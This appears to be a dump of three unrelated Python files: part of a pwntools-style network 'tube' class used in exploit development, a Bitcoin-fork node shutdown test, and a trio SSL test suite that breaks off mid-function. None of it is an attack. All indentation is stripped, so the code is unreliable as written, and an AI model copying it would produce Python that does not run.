r"""recvline_startswith(delims, keepends = False, timeout = default) -> str
Keep receiving lines until one is found that starts with one of
`delims`. Returns the last line received.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Arguments:
delims(str,tuple): List of strings to search for, or string of single characters
keepends(bool): Return lines with newlines if :const:`True`
timeout(int): Timeout, in seconds
Returns:
The first line received which starts with a delimiter in ``delims``.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith(tuple('WXYZ'))
'World'
>>> t.recvline_startswith(tuple('WXYZ'), True)
'Xylophone\n'
>>> t.recvline_startswith('Wo')
'World'
"""
# Convert string into singleton tupple
if isinstance(delims, (str, unicode)):
delims = (delims,)
return self.recvline_pred(lambda line: any(map(line.startswith, delims)),
keepends=keepends,
timeout=timeout)
def recvline_endswith(self, delims, keepends = False, timeout = default):
r"""recvline_endswith(delims, keepends = False, timeout = default) -> str
Keep receiving lines until one is found that starts with one of
`delims`. Returns the last line received.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
See :meth:`recvline_startswith` for more details.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith('r')
'Bar'
>>> t.recvline_endswith(tuple('abcde'), True)
'Kaboodle\n'
>>> t.recvline_endswith('oodle')
'Kaboodle'
"""
# Convert string into singleton tupple
if isinstance(delims, (str, unicode)):
delims = (delims,)
delims = tuple(delim + self.newline for delim in delims)
return self.recvline_pred(lambda line: any(map(line.endswith, delims)),
keepends=keepends,
timeout=timeout)
def recvregex(self, regex, exact = False, timeout = default):
"""recvregex(regex, exact = False, timeout = default) -> str
Wrapper around :func:`recvpred`, which will return when a regex
matches the string in the buffer.
By default :func:`re.RegexObject.search` is used, but if `exact` is
set to True, then :func:`re.RegexObject.match` will be used instead.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
"""
if isinstance(regex, (str, unicode)):
regex = re.compile(regex)
if exact:
pred = regex.match
else:
pred = regex.search
return self.recvpred(pred, timeout = timeout)
def recvline_regex(self, regex, exact = False, keepends = False, timeout = default):
"""recvregex(regex, exact = False, keepends = False, timeout = default) -> str
Wrapper around :func:`recvline_pred`, which will return when a regex
matches a line.
By default :func:`re.RegexObject.search` is used, but if `exact` is
set to True, then :func:`re.RegexObject.match` will be used instead.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
"""
if isinstance(regex, (str, unicode)):
regex = re.compile(regex)
if exact:
pred = regex.match
else:
pred = regex.search
return self.recvline_pred(pred, keepends = keepends, timeout = timeout)
def recvrepeat(self, timeout = default):
"""recvrepeat()
Receives data until a timeout or EOF is reached.
Examples:
>>> data = [
... 'd',
... '', # simulate timeout
... 'c',
... 'b',
... 'a',
... ]
>>> def delayrecv(n, data=data):
... return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
'abc'
>>> t.recv()
'd'
"""
try:
while self._fillbuffer(timeout=timeout):
pass
except EOFError:
pass
return self.buffer.get()
def recvall(self, timeout=Timeout.forever):
"""recvall() -> str
Receives data until EOF is reached.
"""
with self.waitfor('Receiving all data') as h:
l = len(self.buffer)
with self.local(timeout):
try:
while True:
l = misc.size(len(self.buffer))
h.status(l)
if not self._fillbuffer():
break
except EOFError:
pass
h.success("Done (%s)" % l)
self.close()
return self.buffer.get()
def send(self, data):
"""send(data)
Sends data.
If log level ``DEBUG`` is enabled, also prints out the data
received.
If it is not possible to send anymore because of a closed
connection, it raises ``exceptions.EOFError``
Examples:
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.send('hello')
'hello'
"""
if self.isEnabledFor(logging.DEBUG):
self.debug('Sent %#x bytes:' % len(data))
if len(set(data)) == 1:
self.indented('%r * %#x' % (data[0], len(data)))
elif all(c in string.printable for c in data):
for line in data.splitlines(True):
self.indented(repr(line), level = logging.DEBUG)
else:
self.indented(fiddling.hexdump(data), level = logging.DEBUG)
self.send_raw(data)
def sendline(self, line=''):
r"""sendline(data)
Shorthand for ``t.send(data + t.newline)``.
Examples:
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline('hello')
'hello\n'
>>> t.newline = '\r\n'
>>> t.sendline('hello')
'hello\r\n'
"""
self.send(line + self.newline)
def sendlines(self, lines=[]):
for line in lines:
self.sendline(line)
def sendafter(self, delim, data, timeout = default):
"""sendafter(delim, data, timeout = default) -> str
A combination of ``recvuntil(delim, timeout)`` and ``send(data)``.
"""
res = self.recvuntil(delim, timeout)
self.send(data)
return res
def sendlineafter(self, delim, data, timeout = default):
"""sendlineafter(delim, data, timeout = default) -> str
A combination of ``recvuntil(delim, timeout)`` and ``sendline(data)``."""
res = self.recvuntil(delim, timeout)
self.sendline(data)
return res
def sendthen(self, delim, data, timeout = default):
"""sendthen(delim, data, timeout = default) -> str
A combination of ``send(data)`` and ``recvuntil(delim, timeout)``."""
self.send(data)
return self.recvuntil(delim, timeout)
def sendlinethen(self, delim, data, timeout = default):
"""sendlinethen(delim, data, timeout = default) -> str
A combination of ``sendline(data)`` and ``recvuntil(delim, timeout)``."""
self.send(data + self.newline)
return self.recvuntil(delim, timeout)
def interactive(self, prompt = term.text.bold_red('$') + ' '):
"""interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')
Does simultaneous reading and writing to the tube. In principle this just
connects the tube to standard in and standard out, but in practice this
is much more usable, since we are using :mod:`pwnlib.term` to print a
floating prompt.
Thus it only works in while in :data:`pwnlib.term.term_mode`.
"""
self.info('Switching to interactive mode')
go = threading.Event()
def recv_thread():
while not go.isSet():
try:
cur = self.recv(timeout = 0.05)
cur = cur.replace('\r\n', '\n')
if cur:
sys.stdout.write(cur)
sys.stdout.flush()
except EOFError:
self.info('Got EOF while reading in interactive')
break
t = context.Thread(target = recv_thread)
t.daemon = True
t.start()
try:
while not go.isSet():
if term.term_mode:
data = term.readline.readline(prompt = prompt, float = True)
else:
data = sys.stdin.read(1)
if data:
try:
self.send(data)
except EOFError:
go.set()
self.info('Got EOF while sending in interactive')
else:
go.set()
except KeyboardInterrupt:
self.info('Interrupted')
go.set()
while t.is_alive():
t.join(timeout = 0.1)
def stream(self, line_mode=True):
"""stream()
Receive data until the tube exits, and print it to stdout.
Similar to :func:`interactive`, except that no input is sent.
Similar to ``print tube.recvall()`` except that data is printed
as it is received, rather than after all data is received.
Arguments:
line_mode(bool): Whether to receive line-by-line or raw data.
Returns:
All data printed.
"""
buf = Buffer()
function = self.recvline if line_mode else self.recv
try:
while True:
buf.add(function())
sys.stdout.write(buf.data[-1])
except KeyboardInterrupt:
pass
except EOFError:
pass
return buf.get()
def clean(self, timeout = 0.05):
"""clean(timeout = 0.05)
Removes all the buffered data from a tube by calling
:meth:`pwnlib.tubes.tube.tube.recv` with a low timeout until it fails.
If ``timeout`` is zero, only cached data will be cleared.
Note: If timeout is set to zero, the underlying network is
not actually polled; only the internal buffer is cleared.
Returns:
All data received
Examples:
>>> t = tube()
>>> t.unrecv('clean me up')
>>> t.clean(0)
'clean me up'
>>> len(t.buffer)
0
"""
if timeout == 0:
return self.buffer.get()
return self.recvrepeat(timeout)
def clean_and_log(self, timeout = 0.05):
r"""clean_and_log(timeout = 0.05)
Works exactly as :meth:`pwnlib.tubes.tube.tube.clean`, but logs received
data with :meth:`pwnlib.self.info`.
Returns:
All data received
Examples:
>>> def recv(n, data=['', 'hooray_data']):
... while data: return data.pop()
>>> t = tube()
>>> t.recv_raw = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno = lambda: 1234
>>> with context.local(log_level='info'):
... data = t.clean_and_log() #doctest: +ELLIPSIS
[DEBUG] Received 0xb bytes:
'hooray_data'
>>> data
'hooray_data'
>>> context.clear()
"""
with context.local(log_level='debug'):
return self.clean(timeout)
def connect_input(self, other):
"""connect_input(other)
Connects the input of this tube to the output of another tube object.
Examples:
>>> def p(x): print x
>>> def recvone(n, data=['data']):
... while data: return data.pop()
... raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> import time
>>> _=(b.connect_input(a), time.sleep(0.1))
data
"""
def pump():
import sys as _sys
while self.countdown_active():
if not (self.connected('send') and other.connected('recv')):
break
try:
data = other.recv(timeout = 0.05)
except EOFError:
break
if not _sys:
return
if not data:
continue
try:
self.send(data)
except EOFError:
break
if not _sys:
return
self.shutdown('send')
other.shutdown('recv')
t = context.Thread(target = pump)
t.daemon = True
t.start()
def connect_output(self, other):
"""connect_output(other)
Connects the output of this tube to the input of another tube object.
Examples:
>>> def p(x): print x
>>> def recvone(n, data=['data']):
... while data: return data.pop()
... raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown = lambda d: True
>>> b.shutdown = lambda d: True
>>> _=(a.connect_output(b), time.sleep(0.1))
data
"""
other.connect_input(self)
def connect_both(self, other):
"""connect_both(other)
Connects the both ends of this tube object with another tube object."""
self.connect_input(other)
self.connect_output(other)
def spawn_process(self, *args, **kwargs):
"""Spawns a new process having this tube as stdin, stdout and stderr.
Takes the same arguments as :class:`subprocess.Popen`."""
return subprocess.Popen(
*args,
stdin = self.fileno(),
stdout = self.fileno(),
stderr = self.fileno(),
**kwargs
)
def __lshift__(self, other):
"""
Shorthand for connecting multiple tubes.
See :meth:`connect_input` for more information.
Examples:
The following are equivalent ::
tube_a >> tube.b
tube_a.connect_input(tube_b)
This is useful when chaining multiple tubes ::
tube_a >> tube_b >> tube_a
tube_a.connect_input(tube_b)
tube_b.connect_input(tube_a)
"""
self.connect_input(other)
return other
def __rshift__(self, other):
"""
Inverse of the ``<<`` operator. See :meth:`__lshift__`.
See :meth:`connect_input` for more information.
"""
self.connect_output(other)
return other
def __ne__(self, other):
"""
Shorthand for connecting tubes to eachother.
The following are equivalent ::
a >> b >> a
a <> b
See :meth:`connect_input` for more information.
"""
self << other << self
def wait_for_close(self):
"""Waits until the tube is closed."""
while self.connected():
time.sleep(0.05)
wait = wait_for_close
def can_recv(self, timeout = 0):
"""can_recv(timeout = 0) -> bool
Returns True, if there is data available within `timeout` seconds.
Examples:
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
>>> t.can_recv()
False
>>> _=t.unrecv('data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
"""
return bool(self.buffer or self.can_recv_raw(timeout))
def settimeout(self, timeout):
"""settimeout(timeout)
Set the timeout for receiving operations. If the string "default"
is given, then :data:`context.timeout` will be used. If None is given,
then there will be no timeout.
Examples:
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
"""
self.timeout = timeout
shutdown_directions = {
'in': 'recv',
'read': 'recv',
'recv': 'recv',
'out': 'send',
'write': 'send',
'send': 'send',
}
connected_directions = shutdown_directions.copy()
connected_directions['any'] = 'any'
def shutdown(self, direction = "send"):
"""shutdown(direction = "send")
Closes the tube for futher reading or writing depending on `direction`.
Arguments:
direction(str): Which direction to close; "in", "read" or "recv"
closes the tube in the ingoing direction, "out", "write" or "send"
closes it in the outgoing direction.
Returns:
:const:`None`
Examples:
>>> def p(x): print x
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send'))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"
"""
try:
direction = self.shutdown_directions[direction]
except KeyError:
raise KeyError('direction must be in %r' % sorted(self.shutdown_directions))
else:
self.shutdown_raw(self.shutdown_directions[direction])
def connected(self, direction = 'any'):
"""connected(direction = 'any') -> bool
Returns True if the tube is connected in the specified direction.
Arguments:
direction(str): Can be the string 'any', 'in', 'read', 'recv',
'out', 'write', 'send'.
Doctest:
>>> def p(x): print x
>>> t = tube()
>>> t.connected_raw = p
>>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send'))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']"
"""
try:
direction = self.connected_directions[direction]
except KeyError:
raise KeyError('direction must be in %r' % sorted(self.connected_directions))
else:
return self.connected_raw(direction)
def __enter__(self):
"""Permit use of 'with' to control scoping and closing sessions.
Examples:
>>> t = tube()
>>> def p(x): print x
>>> t.close = lambda: p("Closed!")
>>> with t: pass
Closed!
"""
return self
def __exit__(self, type, value, traceback):
"""Handles closing for 'with' statement
See :meth:`__enter__`
"""
self.close()
# The minimal interface to be implemented by a child
def recv_raw(self, numb):
"""recv_raw(numb) -> str
Should not be called directly. Receives data without using the buffer
on the object.
Unless there is a timeout or closed connection, this should always
return data. In case of a timeout, it should return None, in case
of a closed connection it should raise an ``exceptions.EOFError``.
"""
raise EOFError('Not implemented')
def send_raw(self, data):
"""send_raw(data)
Should not be called directly. Sends data to the tube.
Should return ``exceptions.EOFError``, if it is unable to send any
more, because of a close tube.
"""
raise EOFError('Not implemented')
def settimeout_raw(self, timeout):
"""settimeout_raw(timeout)
Should not be called directly. Sets the timeout for
the tube.
"""
raise NotImplementedError()
def timeout_change(self):
"""
Informs the raw layer of the tube that the timeout has changed.
Should not be called directly.
Inherited from :class:`Timeout`.
"""
try:
self.settimeout_raw(self.timeout)
except NotImplementedError:
pass
def can_recv_raw(self, timeout):
"""can_recv_raw(timeout) -> bool
Should not be called directly. Returns True, if
there is data available within the timeout, but
ignores the buffer on the object.
"""
raise NotImplementedError()
def connected_raw(self, direction):
"""connected(direction = 'any') -> bool
Should not be called directly. Returns True iff the
tube is connected in the given direction.
"""
raise NotImplementedError()
def close(self):
"""close()
Closes the tube.
"""
pass
# Ideally we could:
# raise NotImplementedError()
# But this causes issues with the unit tests.
def fileno(self):
"""fileno() -> int
Returns the file number used for reading.
"""
raise NotImplementedError()
def shutdown_raw(self, direction):
"""shutdown_raw(direction)
Should not be called directly. Closes the tube for further reading or
writing.
"""
raise NotImplementedError()
#: Alias for :meth:`recv`
def read(self, *a, **kw): return self.recv(*a, **kw)
#: Alias for :meth:`recvpred`
def readpred(self, *a, **kw): return self.recvpred(*a, **kw)
#: Alias for :meth:`recvn`
def readn(self, *a, **kw): return self.recvn(*a, **kw)
#: Alias for :meth:`recvuntil`
def readuntil(self, *a, **kw): return self.recvuntil(*a, **kw)
#: Alias for :meth:`recvlines`
def readlines(self, *a, **kw): return self.recvlines(*a, **kw)
#: Alias for :meth:`recvline`
def readline(self, *a, **kw): return self.recvline(*a, **kw)
#: Alias for :meth:`recvline_pred`
def readline_pred(self, *a, **kw): return self.recvline_pred(*a, **kw)
#: Alias for :meth:`recvline_contains`
def readline_contains(self, *a, **kw): return self.recvline_contains(*a, **kw)
#: Alias for :meth:`recvline_startswith`
def readline_startswith(self, *a, **kw): return self.recvline_startswith(*a, **kw)
#: Alias for :meth:`recvline_endswith`
def readline_endswith(self, *a, **kw): return self.recvline_endswith(*a, **kw)
#: Alias for :meth:`recvregex`
def readregex(self, *a, **kw): return self.recvregex(*a, **kw)
#: Alias for :meth:`recvline_regex`
def readline_regex(self, *a, **kw): return self.recvline_regex(*a, **kw)
#: Alias for :meth:`recvrepeat`
def readrepeat(self, *a, **kw): return self.recvrepeat(*a, **kw)
#: Alias for :meth:`recvall`
def readall(self, *a, **kw): return self.recvall(*a, **kw)
#: Alias for :meth:`send`
def write(self, *a, **kw): return self.send(*a, **kw)
#: Alias for :meth:`sendline`
def writeline(self, *a, **kw): return self.sendline(*a, **kw)
#: Alias for :meth:`sendafter`
def writeafter(self, *a, **kw): return self.sendafter(*a, **kw)
#: Alias for :meth:`sendlineafter`
def writelineafter(self, *a, **kw): return self.sendlineafter(*a, **kw)
#: Alias for :meth:`sendthen`
def writethen(self, *a, **kw): return self.sendthen(*a, **kw)
#: Alias for :meth:`sendlinethen`
def writelinethen(self, *a, **kw): return self.sendlinethen(*a, **kw)
def p64(self, *a, **kw): return self.send(packing.p64(*a, **kw))
def p32(self, *a, **kw): return self.send(packing.p32(*a, **kw))
def p16(self, *a, **kw): return self.send(packing.p16(*a, **kw))
def p8(self, *a, **kw): return self.send(packing.p8(*a, **kw))
def pack(self, *a, **kw): return self.send(packing.pack(*a, **kw))
def u64(self, *a, **kw): return packing.u64(self.recvn(8), *a, **kw)
def u32(self, *a, **kw): return packing.u32(self.recvn(4), *a, **kw)
def u16(self, *a, **kw): return packing.u16(self.recvn(2), *a, **kw)
def u8(self, *a, **kw): return packing.u8(self.recvn(1), *a, **kw)
def unpack(self, *a, **kw): return packing.unpack(self.recvn(context.bytes), *a, **kw)
def flat(self, *a, **kw): return self.send(packing.flat(*a,**kw))
def fit(self, *a, **kw): return self.send(packing.fit(*a, **kw))
|
feature_shutdown.py | #!/usr/bin/env python3
# Copyright (c) 2018-2020 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test bsvcoind shutdown."""
from test_framework.test_framework import BsvcoinTestFramework
from test_framework.util import assert_equal, get_rpc_proxy
from threading import Thread
def test_long_call(node):
block = node.waitfornewblock()
assert_equal(block['height'], 0)
class ShutdownTest(BsvcoinTestFramework):
def set_test_params(self):
self.setup_clean_chain = True
self.num_nodes = 1
self.supports_cli = False
def run_test(self):
node = get_rpc_proxy(self.nodes[0].url, 1, timeout=600, coveragedir=self.nodes[0].coverage_dir)
# Force connection establishment by executing a dummy command.
node.getblockcount()
Thread(target=test_long_call, args=(node,)).start()
# Wait until the server is executing the above `waitfornewblock`.
self.wait_until(lambda: len(self.nodes[0].getrpcinfo()['active_commands']) == 2)
# Wait 1 second after requesting shutdown but not before the `stop` call
# finishes. This is to ensure event loop waits for current connections
# to close.
self.stop_node(0, wait=1000)
if __name__ == '__main__':
ShutdownTest().main()
|
test_ssl.py | import re
import sys
import pytest
import threading
import socket as stdlib_socket
import ssl
from contextlib import contextmanager
from functools import partial
from OpenSSL import SSL
import trustme
from async_generator import asynccontextmanager
import trio
from .. import _core
from .._highlevel_socket import SocketStream, SocketListener
from .._highlevel_generic import aclose_forcefully
from .._core import ClosedResourceError, BrokenResourceError
from .._highlevel_open_tcp_stream import open_tcp_stream
from .. import socket as tsocket
from .._ssl import SSLStream, SSLListener, NeedHandshakeError, _is_eof
from .._util import ConflictDetector
from .._core.tests.tutil import slow
from ..testing import (
assert_checkpoints,
Sequencer,
memory_stream_pair,
lockstep_stream_pair,
check_two_way_stream,
)
# We have two different kinds of echo server fixtures we use for testing. The
# first is a real server written using the stdlib ssl module and blocking
# sockets. It runs in a thread and we talk to it over a real socketpair(), to
# validate interoperability in a semi-realistic setting.
#
# The second is a very weird virtual echo server that lives inside a custom
# Stream class. It lives entirely inside the Python object space; there are no
# operating system calls in it at all. No threads, no I/O, nothing. It's
# 'send_all' call takes encrypted data from a client and feeds it directly into
# the server-side TLS state engine to decrypt, then takes that data, feeds it
# back through to get the encrypted response, and returns it from 'receive_some'. This
# gives us full control and reproducibility. This server is written using
# PyOpenSSL, so that we can trigger renegotiations on demand. It also allows
# us to insert random (virtual) delays, to really exercise all the weird paths
# in SSLStream's state engine.
#
# Both present a certificate for "trio-test-1.example.org".
TRIO_TEST_CA = trustme.CA()
TRIO_TEST_1_CERT = TRIO_TEST_CA.issue_server_cert("trio-test-1.example.org")
SERVER_CTX = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
if hasattr(ssl, "OP_IGNORE_UNEXPECTED_EOF"):
SERVER_CTX.options &= ~ssl.OP_IGNORE_UNEXPECTED_EOF
TRIO_TEST_1_CERT.configure_cert(SERVER_CTX)
# TLS 1.3 has a lot of changes from previous versions. So we want to run tests
# with both TLS 1.3, and TLS 1.2.
# "tls13" means that we're willing to negotiate TLS 1.3. Usually that's
# what will happen, but the renegotiation tests explicitly force a
# downgrade on the server side. "tls12" means we refuse to negotiate TLS
# 1.3, so we'll almost certainly use TLS 1.2.
@pytest.fixture(scope="module", params=["tls13", "tls12"])
def client_ctx(request):
ctx = ssl.create_default_context()
if hasattr(ssl, "OP_IGNORE_UNEXPECTED_EOF"):
ctx.options &= ~ssl.OP_IGNORE_UNEXPECTED_EOF
TRIO_TEST_CA.configure_trust(ctx)
if request.param in ["default", "tls13"]:
return ctx
elif request.param == "tls12":
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
return ctx
else: # pragma: no cover
assert False
# The blocking socket server.
def ssl_echo_serve_sync(sock, *, expect_fail=False):
try:
wrapped = SERVER_CTX.wrap_socket(
sock, server_side=True, suppress_ragged_eofs=False
)
with wrapped:
wrapped.do_handshake()
while True:
data = wrapped.recv(4096)
if not data:
# other side has initiated a graceful shutdown; we try to
# respond in kind but it's legal for them to have already
# gone away.
exceptions = (BrokenPipeError, ssl.SSLZeroReturnError)
try:
wrapped.unwrap()
except exceptions:
pass
except ssl.SSLWantWriteError: # pragma: no cover
# Under unclear conditions, CPython sometimes raises
# SSLWantWriteError here. This is a bug (bpo-32219),
# but it's not our bug. Christian Heimes thinks
# it's fixed in 'recent' CPython versions so we fail
# the test for those and ignore it for earlier
# versions.
if (
sys.implementation.name != "cpython"
or sys.version_info >= (3, 8)
):
pytest.fail(
"still an issue on recent python versions "
"add a comment to "
"https://bugs.python.org/issue32219"
)
return
wrapped.sendall(data)
# This is an obscure workaround for an openssl bug. In server mode, in
# some versions, openssl sends some extra data at the end of do_handshake
# that it shouldn't send. Normally this is harmless, but, if the other
# side shuts down the connection before it reads that data, it might cause
# the OS to report a ECONNREST or even ECONNABORTED (which is just wrong,
# since ECONNABORTED is supposed to mean that connect() failed, but what
# can you do). In this case the other side did nothing wrong, but there's
# no way to recover, so we let it pass, and just cross our fingers its not
# hiding any (other) real bugs. For more details see:
#
# https://github.com/python-trio/trio/issues/1293
#
# Also, this happens frequently but non-deterministically, so we have to
# 'no cover' it to avoid coverage flapping.
except (ConnectionResetError, ConnectionAbortedError): # pragma: no cover
return
except Exception as exc:
if expect_fail:
print("ssl_echo_serve_sync got error as expected:", exc)
else: # pragma: no cover
print("ssl_echo_serve_sync got unexpected error:", exc)
raise
else:
if expect_fail: # pragma: no cover
raise RuntimeError("failed to fail?")
finally:
sock.close()
# Fixture that gives a raw socket connected to a trio-test-1 echo server
# (running in a thread). Useful for testing making connections with different
# SSLContexts.
@asynccontextmanager
async def ssl_echo_server_raw(**kwargs):
a, b = stdlib_socket.socketpair()
async with trio.open_nursery() as nursery:
# Exiting the 'with a, b' context manager closes the sockets, which
# causes the thread to exit (possibly with an error), which allows the
# nursery context manager to exit too.
with a, b:
nursery.start_soon(
trio.to_thread.run_sync, partial(ssl_echo_serve_sync, b, **kwargs)
)
yield SocketStream(tsocket.from_stdlib_socket(a))
# Fixture that gives a properly set up SSLStream connected to a trio-test-1
# echo server (running in a thread)
@asynccontextmanager
async def ssl_echo_server(client_ctx, **kwargs):
async with ssl_echo_server_raw(**kwargs) as sock:
yield SSLStream(sock, client_ctx, server_hostname="trio-test-1.example.org")
# The weird in-memory server ... thing.
# Doesn't inherit from Stream because I left out the methods that we don't
# actually need.
class PyOpenSSLEchoStream:
def __init__(self, sleeper=None):
ctx = SSL.Context(SSL.SSLv23_METHOD)
# TLS 1.3 removes renegotiation support. Which is great for them, but
# we still have to support versions before that, and that means we
# need to test renegotiation support, which means we need to force this
# to use a lower version where this test server can trigger
# renegotiations. Of course TLS 1.3 support isn't released yet, but
# I'm told that this will work once it is. (And once it is we can
# remove the pragma: no cover too.) Alternatively, we could switch to
# using TLSv1_2_METHOD.
#
# Discussion: https://github.com/pyca/pyopenssl/issues/624
# This is the right way, but we can't use it until this PR is in a
# released:
# https://github.com/pyca/pyopenssl/pull/861
#
# if hasattr(SSL, "OP_NO_TLSv1_3"):
# ctx.set_options(SSL.OP_NO_TLSv1_3)
#
# Fortunately pyopenssl uses cryptography under the hood, so we can be
# confident that they're using the same version of openssl
from cryptography.hazmat.bindings.openssl.binding import Binding
b = Binding()
if hasattr(b.lib, "SSL_OP_NO_TLSv1_3"):
ctx.set_options(b.lib.SSL_OP_NO_TLSv1_3)
# Unfortunately there's currently no way to say "use 1.3 or worse", we
# can only disable specific versions. And if the two sides start
# negotiating 1.4 at some point in the future, it *might* mean that
# our tests silently stop working properly. So the next line is a
# tripwire to remind us we need to revisit this stuff in 5 years or
# whatever when the next TLS version is released:
assert not hasattr(SSL, "OP_NO_TLSv1_4")
TRIO_TEST_1_CERT.configure_cert(ctx)
self._conn = SSL.Connection(ctx, None)
self._conn.set_accept_state()
self._lot = _core.ParkingLot()
self._pending_cleartext = bytearray()
self._send_all_conflict_detector = ConflictDetector(
"simultaneous calls to PyOpenSSLEchoStream.send_all"
)
self._receive_some_conflict_detector = ConflictDetector(
"simultaneous calls to PyOpenSSLEchoStream.receive_some"
)
if sleeper is None:
async def no_op_sleeper(_):
return
self.sleeper = no_op_sleeper
else:
self.sleeper = sleeper
async def aclose(self):
self._conn.bio_shutdown()
def renegotiate_pending(self):
return self._conn.renegotiate_pending()
def renegotiate(self):
# Returns false if a renegotiation is already in progress, meaning
# nothing happens.
assert self._conn.renegotiate()
async def wait_send_all_might_not_block(self):
with self._send_all_conflict_detector:
await _core.checkpoint()
await _core.checkpoint()
await self.sleeper("wait_send_all_might_not_block")
async def send_all(self, data):
print(" --> transport_stream.send_all")
with self._send_all_conflict_detector:
await _core.checkpoint()
await _core.checkpoint()
await self.sleeper("send_all")
self._conn.bio_write(data)
while True:
await self.sleeper("send_all")
try:
data = self._conn.recv(1)
except SSL.ZeroReturnError:
self._conn.shutdown()
print("renegotiations:", self._conn.total_renegotiations())
break
except SSL.WantReadError:
break
else:
self._pending_cleartext += data
self._lot.unpark_all()
await self.sleeper("send_all")
print(" <-- transport_stream.send_all finished")
async def receive_some(self, nbytes=None):
print(" --> transport_stream.receive_some")
if nbytes is None:
nbytes = 65536 # arbitrary
with self._receive_some_conflict_detector:
try:
await _core.checkpoint()
await _core.checkpoint()
while True:
await self.sleeper("receive_some")
try:
return self._conn.bio_read(nbytes)
except SSL.WantReadError:
# No data in our ciphertext buffer; try to generate
# some.
if self._pending_cleartext:
# We have some cleartext; maybe we can encrypt it
# and then return it.
print(" trying", self._pending_cleartext)
try:
# PyOpenSSL bug: doesn't accept bytearray
# https://github.com/pyca/pyopenssl/issues/621
next_byte = self._pending_cleartext[0:1]
self._conn.send(bytes(next_byte))
# Apparently this next bit never gets hit in the
# test suite, but it's not an interesting omission
# so let's pragma it.
except SSL.WantReadError: # pragma: no cover
# We didn't manage to send the cleartext (and
# in particular we better leave it there to
# try again, due to openssl's retry
# semantics), but it's possible we pushed a
# renegotiation forward and *now* we have data
# to send.
try:
return self._conn.bio_read(nbytes)
except SSL.WantReadError:
# Nope. We're just going to have to wait
# for someone to call send_all() to give
# use more data.
print("parking (a)")
await self._lot.park()
else:
# We successfully sent that byte, so we don't
# have to again.
del self._pending_cleartext[0:1]
else:
# no pending cleartext; nothing to do but wait for
# someone to call send_all
print("parking (b)")
await self._lot.park()
finally:
await self.sleeper("receive_some")
print(" <-- transport_stream.receive_some finished")
async def test_PyOpenSSLEchoStream_gives_resource_busy_errors():
# Make sure that PyOpenSSLEchoStream complains if two tasks call send_all
# at the same time, or ditto for receive_some. The tricky cases where SSLStream
# might accidentally do this are during renegotiation, which we test using
# PyOpenSSLEchoStream, so this makes sure that if we do have a bug then
# PyOpenSSLEchoStream will notice and complain.
s = PyOpenSSLEchoStream()
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(s.send_all, b"x")
nursery.start_soon(s.send_all, b"x")
assert "simultaneous" in str(excinfo.value)
s = PyOpenSSLEchoStream()
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(s.send_all, b"x")
nursery.start_soon(s.wait_send_all_might_not_block)
assert "simultaneous" in str(excinfo.value)
s = PyOpenSSLEchoStream()
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(s.wait_send_all_might_not_block)
nursery.start_soon(s.wait_send_all_might_not_block)
assert "simultaneous" in str(excinfo.value)
s = PyOpenSSLEchoStream()
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(s.receive_some, 1)
nursery.start_soon(s.receive_some, 1)
assert "simultaneous" in str(excinfo.value)
@contextmanager
def virtual_ssl_echo_server(client_ctx, **kwargs):
fakesock = PyOpenSSLEchoStream(**kwargs)
yield SSLStream(fakesock, client_ctx, server_hostname="trio-test-1.example.org")
def ssl_wrap_pair(
client_ctx,
client_transport,
server_transport,
*,
client_kwargs={},
server_kwargs={},
):
client_ssl = SSLStream(
client_transport,
client_ctx,
server_hostname="trio-test-1.example.org",
**client_kwargs,
)
server_ssl = SSLStream(
server_transport, SERVER_CTX, server_side=True, **server_kwargs
)
return client_ssl, server_ssl
def ssl_memory_stream_pair(client_ctx, **kwargs):
client_transport, server_transport = memory_stream_pair()
return ssl_wrap_pair(client_ctx, client_transport, server_transport, **kwargs)
def ssl_lockstep_stream_pair(client_ctx, **kwargs):
client_transport, server_transport = lockstep_stream_pair()
